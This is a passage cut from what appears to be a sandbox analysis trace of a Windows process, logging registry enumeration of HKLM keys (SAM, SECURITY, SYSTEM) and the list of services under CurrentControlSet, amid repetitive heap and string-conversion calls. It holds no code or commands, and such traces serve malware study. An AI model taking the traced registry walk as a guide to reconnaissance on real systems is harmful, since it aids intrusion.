Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.971] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0250.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.972] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.972] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.972] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0250.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.972] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.973] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0250.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.973] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.974] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.975] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.975] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.975] RegCloseKey (hKey=0xc4) returned 0x0 [0250.975] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0250.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.976] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.976] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.976] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.976] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.977] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.977] RegCloseKey (hKey=0x14c) returned 0x0 [0250.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 